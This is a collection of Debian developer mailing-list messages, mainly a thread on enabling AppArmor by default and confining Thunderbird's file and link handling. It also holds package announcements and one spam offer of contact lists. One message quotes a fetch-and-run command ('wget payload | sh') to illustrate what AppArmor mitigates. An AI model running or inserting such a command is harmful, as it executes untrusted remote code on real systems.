Re: Let's enable AppArmor by default (why not?)
Hi Carsten, thanks for your reply! On 10/31/2017 07:54 AM, Carsten Schoenert wrote: > For Thunderbird intrigeri and myself came to the conclusion that > especially for the apparmor profile someone from the apparmor team > should be able to contribute changes to the profile directly to the git > tree. So intrigeri has become a member of the pkg-mozilla group to be > able to push changes by himself. I trust intrigeri enough that he will > do good contributions. For now it's the best we can do. This at all is > for sure improvable and we should talk about this on upcoming Debian > events or directly via email. Okay, filed the bugs, lets see where they go. :) I was especially concerned about the browser part. > ... >> [1] e.g. >> [ 3459.624852] audit: type=1400 audit(1509283082.571:59): >> apparmor="DENIED" operation="file_inherit" profile="thunderbird//gpg" >> name="/usr/share/thunderbird/omni.ja" pid=24720 comm="gpg2" >> requested_mask="r" denied_mask="r" fsuid=1000 ouid=0 Filed as #880425[1]. >> [2] e.g. >> [ 3795.153239] audit: type=1400 audit(1509283418.100:64): >> apparmor="DENIED" operation="exec" profile="thunderbird" >> name="/opt/google/chrome-beta/google-chrome-beta" pid=31896 >> comm="thunderbird" requested_mask="x" denied_mask="x" fsuid=1000 ouid=0 Filed as #880424[0]. I think there is a deeper question here as to how to handle the browser abstraction for AppArmor in general. > I suggest to open a bug report for each of such issues against > thunderbird with a description what was done and what was expected. As above. :) Kind regards and thanks Philipp Kern [0] https://bugs.debian.org/880424 [1] https://bugs.debian.org/880425 signature.asc Description: OpenPGP digital signature
Temenos&Misys email Contact list
Hi would you be interested in *Temenos&Misys* email list for your email campaigns? We provide the Database across North America, EMEA, APAC and Latin America. *We also have other significant Technology users like*: Oracle Financial Services Software, SAP, Infosys Technologies, FIS, TCS FS, Fiserv, Jack Henry & Associates, Silverlake Axis, HCL Info system and many more. *Information Fields* – Name, Title, Email, Phone Numbers, Company Name, and Company Details like, Physical Address, Web Address, Revenue Size, Employee Size and industry. Please review and let me know what technology users you are interested in and I will get back to you with more information for the same. Thanks, Aloma Johnson Data Specialist To Opt Out, please respond “Leave Out” in the Subject line.
Re: Let's enable AppArmor by default (why not?)
Hi, On Tue, Oct 31, 2017 at 01:46:40PM +0100, Philipp Kern wrote: > Hi Carsten, > > thanks for your reply! > > On 10/31/2017 07:54 AM, Carsten Schoenert wrote: > > For Thunderbird intrigeri and myself came to the conclusion that > > especially for the apparmor profile someone from the apparmor team > > should be able to contribute changes to the profile directly to the git > > tree. So intrigeri has become a member of the pkg-mozilla group to be > > able to push changes by himself. I trust intrigeri enough that he will > > do good contributions. For now it's the best we can do. This at all is > > for sure improvable and we should talk about this on upcoming Debian > > events or directly via email. > > Okay, filed the bugs, lets see where they go. :) I was especially > concerned about the browser part. > > > ... > >> [1] e.g. > >> [ 3459.624852] audit: type=1400 audit(1509283082.571:59): > >> apparmor="DENIED" operation="file_inherit" profile="thunderbird//gpg" > >> name="/usr/share/thunderbird/omni.ja" pid=24720 comm="gpg2" > >> requested_mask="r" denied_mask="r" fsuid=1000 ouid=0 > > Filed as #880425[1]. > > >> [2] e.g. > >> [ 3795.153239] audit: type=1400 audit(1509283418.100:64): > >> apparmor="DENIED" operation="exec" profile="thunderbird" > >> name="/opt/google/chrome-beta/google-chrome-beta" pid=31896 > >> comm="thunderbird" requested_mask="x" denied_mask="x" fsuid=1000 ouid=0 > > Filed as #880424[0]. I think there is a deeper question here as to how > to handle the browser abstraction for AppArmor in general. There is /etc/apparmor.d/abstractions/ubuntu-browsers. The name isn't very nice it's a start if we rename it to /etc/apparmor.d/abstractions/browsers. Cheers, -- Guido > > > I suggest to open a bug report for each of such issues against > > thunderbird with a description what was done and what was expected. > > As above. :) > > Kind regards and thanks > Philipp Kern > > [0] https://bugs.debian.org/880424 > [1] https://bugs.debian.org/880425 >
Bug#880444: ITP: dde-qt-dbus-factory -- Qt DBus interface library for Deepin software
Package: wnpp Severity: wishlist Owner: Boyuan Yang <073p...@gmail.com> X-Debbugs-CC: debian-devel@lists.debian.org * Package name: dde-qt-dbus-factory Version : 0.3.2 Upstream Author : Deepin Technology Co., Ltd. * URL : https://github.com/linuxdeepin/dde-qt-dbus-factory * License : GPL-3+ Programming Lang: C++/Qt Description : Qt DBus interface library for Deepin software Libdframeworkdbus provides Qt DBus interface for various Deepin software. It centralizes DBus-related code into single library for Deepin software written in Qt and get itself generated from handwritten XML DBus interface descriptions. . This package is part of DDE (Deepin Desktop Environment). I intend to co-maintain it in pkg-deepin group. Regards, Boyuan Yang signature.asc Description: This is a digitally signed message part.
Re: Alioth: the future of mailing lists
Hi, On Sun, 22 Oct 2017, Marc Haber wrote: > On Wed, 20 Sep 2017 10:31:16 +0200, Raphael Hertzog > wrote: > >The only thing we are waiting currently > >for is a lintian upload where #871575 [3] is fixed (and then we need the > >backport to be installed on ftp-master). > > #871575 was fixed a month ago. Is there any status on ftp-master > having the new version yet? The backport is now available but apparently ftp-master.debian.org is still running the stable version of lintian... and thus doesn't get the updates from stretch-backports. Ftpmasters, can you ask DSA to install lintian from stretch-backports, please? That would let us experiment with using @packages.debian.org email in maintainer fields. TIA. -- Raphaël Hertzog ◈ Debian Developer Support Debian LTS: https://www.freexian.com/services/debian-lts.html Learn to master Debian: https://debian-handbook.info/get/
Re: Let's enable AppArmor by default (why not?)
Hi there,
On 10/31/2017 01:46 PM, Philipp Kern wrote:
>>> [2] e.g.
>>> [ 3795.153239] audit: type=1400 audit(1509283418.100:64):
>>> apparmor="DENIED" operation="exec" profile="thunderbird"
>>> name="/opt/google/chrome-beta/google-chrome-beta" pid=31896
>>> comm="thunderbird" requested_mask="x" denied_mask="x" fsuid=1000 ouid=0
>
> Filed as #880424[0]. I think there is a deeper question here as to how
> to handle the browser abstraction for AppArmor in general.
Isn't this a really generic problem for any AppArmor/SELinux-like LSM?
Because this isn't just restricted to links, this is restricted to any
kind of file association (links are handled like file associations with
the MIME type x-scheme-handler/$PROTOCOL in the XDG specs).
Because in the end you have the following conflicting requirements:
- On the one hand, you want the user to be able to open arbitrary
files and links from many programs (especially e.g. email programs),
for example opening PDF attachments with your favorite PDF reader
or external links in your browser.
This means that the email program must be able to execute arbitrary
executables, because the user may have assigned arbitrary
executables (for example also wrapper scripts in their home
directory) to different file associations.
- The user might also want to open a specific file with another
program that is also associated with the file but not the default.
For example, JPEG attachments might most commonly be opened by
the favorite image viewer, but sometimes users may want to open
the JPEG file in an image editor such as GIMP, and many programs
offer the user a choice to choose between the installed programs
that are associated with the type.
- On the other hand one of the key features of AppArmor is to mitigate
exploits so that an attacker can't just get the program to call the
syscall execve("/bin/sh", {"/bin/sh", "-c", "wget payload | sh"});
I think this is a more general problem. It appears to me that there are
currently two possibilities:
- Either one allows the execution of arbitrary executables by all
desktop applications (because we don't know in advance what file
types will be associated with what program, and the user may have
their own wrapper scripts) - but that leaves a gaping hole in the
possible mitigations AppArmor may provide.
- Or one whitelists certain applications. This will have the
unfortunate side-effect that any time the user installs a piece of
software that isn't on that whitelist (or wants to use their own
wrapper script) it won't work (because of AppArmor) - and
unfortunately many users will then simply resort to disabling
AppArmor in that case instead of actually creating a locally
adapted policy. (Yes, sysadmins might not, but simple desktop
users will - I know way too many people who simply don't even want
to use group ownership and instead are happy to just do a
chmod 0777 - and groups are mentally a lot simpler than AppArmor.)
I don't know what the best short-term compromise is here, but in the
long term the only real solution is to somehow abstract this away from
applications to ensure that the application started in these cases is
actually what the user wanted. (I'm thinking towards something like
the 'portals' concept in Flatpak.) Because if the default policy does
not cover these kinds of customization needs out of the box at least a
lot of desktop users will simply revert AppArmor and complain about
it.
Regards,
Christian
Re: Let's enable AppArmor by default (why not?)
On 10/31/2017 06:56 PM, Christian Seiler wrote: > I don't know what the best short-term compromise is here, but in the > long term the only real solution is to somehow abstract this away from > applications to ensure that the application started in these cases is > actually what the user wanted. (I'm thinking towards something like > the 'portals' concept in Flatpak.) Because if the default policy does > not cover these kinds of customization needs out of the box at least a > lot of desktop users will simply revert AppArmor and complain about > it. Sadly I have so far been ignorant about Flatpak, which was probably a mistake. I think the abstractions I seek here is that the file is passed with its type to a different arbiter of defaults that is then responsible for opening the right program. And there needs to be a context transition in which the arbiter can then actually execute what it wants. At the same time it needs to be a very limited interface that does not allow customization. On the other hand Thunderbird parses the file associations by itself today and raises an application picker. This would again need to be isolated away[1]. I'm not sure if I missed some kind of alert tool like the selinux troubleshooting bits, but in my case it just silently failed: you click on links and nothing happens. I suppose such failures that the kind of failures we'd want to avoid because users just keep being confused about how to re-mediate the issue and then turn off security features. (Not unsimilar to how people deal with SELinux, except that some might pipe the denials through audit2allow?) Kind regards and thanks Philipp Kern [1] And even then I know that a bunch of uncommon file types raise a bunch of red flags in terms of auto-detection and exploitation. CVE-2017-183 comes to mind. Which at least could have been mitigated by AppArmor on evince, in theory. Except that evince also needs to be able to handle links in some fashion and back to square one. signature.asc Description: OpenPGP digital signature
Re: Let's enable AppArmor by default (why not?)
On Tue, 31 Oct 2017 at 18:56:59 +0100, Christian Seiler wrote: > I don't know what the best short-term compromise is here, but in the > long term the only real solution is to somehow abstract this away from > applications to ensure that the application started in these cases is > actually what the user wanted. (I'm thinking towards something like > the 'portals' concept in Flatpak.) A couple of the key things that the Flatpak developers hope will make it work better than previous approaches to a similar problem-space are: * Accepting that expecting an unmodified app designed to be used in a non-sandboxed context to be sandbox-friendly does not lead to a usefully-strict sandbox, because of factors like those you mentioned; * Being able to change the libraries that apps use so that some aspects of the app can transparently become more sandbox-friendly Accordingly, various APIs in GLib/GTK+ have been modified to detect when they are operating in a sandbox and call out to portals instead of doing the work themselves. These APIs are already sufficiently high-level that the application doesn't need to see a difference. Of course, this only works for applications that use a higher-level library API rather than implementing it themselves, so that probably rules out the Mozilla stack... GLib's helper executables like `gio open` (as used by recent versions of xdg-open when running on GNOME) use those same APIs, so they will also do the right thing in a Flatpak sandbox. I don't have an overview of what's happening in this direction outside GNOME, but I hope that other "platform" libraries like Qt have done similarly or will do so in future. smcv
Bug#880457: ITP: node-resolve-cwd -- Resolve the path of a module like require.resolve()
Package: wnpp Severity: wishlist Owner: Raju Devidas X-Debbugs-CC: debian-devel@lists.debian.org * Package name : node-resolve-cwd Version : 2.0.0 Upstream Author : Sindre Sorhus (sindresorhus.com) * URL : https://github.com/sindresorhus/resolve-cwd#readme * License : Expat Programming Lang: JavaScript Description : Resolve the path of a module. Resolve the path of a module like require.resolve() but from the current working directory . Node.js is an event-based server-side JavaScript engine. I need to package node-resolve-cwd as it is a dependency required to packagenode-awa
Re: Let's enable AppArmor by default (why not?)
On Tue, 31 Oct 2017 19:51:34 +0100, Philipp Kern wrote: > I'm not sure if I missed some kind of alert tool like the selinux > troubleshooting bits, but in my case it just silently failed: In case you don't know it, apparmor-notify has been helpful for me. Cheers, gregor -- .''`. https://info.comodo.priv.at/ - Debian Developer https://www.debian.org : :' : OpenPGP fingerprint D1E1 316E 93A7 60A8 104D 85FA BB3A 6801 8649 AA06 `. `' Member of VIBE!AT & SPI, fellow of the Free Software Foundation Europe `- NP: Red Hot Chili Peppers: Cmon Girl signature.asc Description: Digital Signature
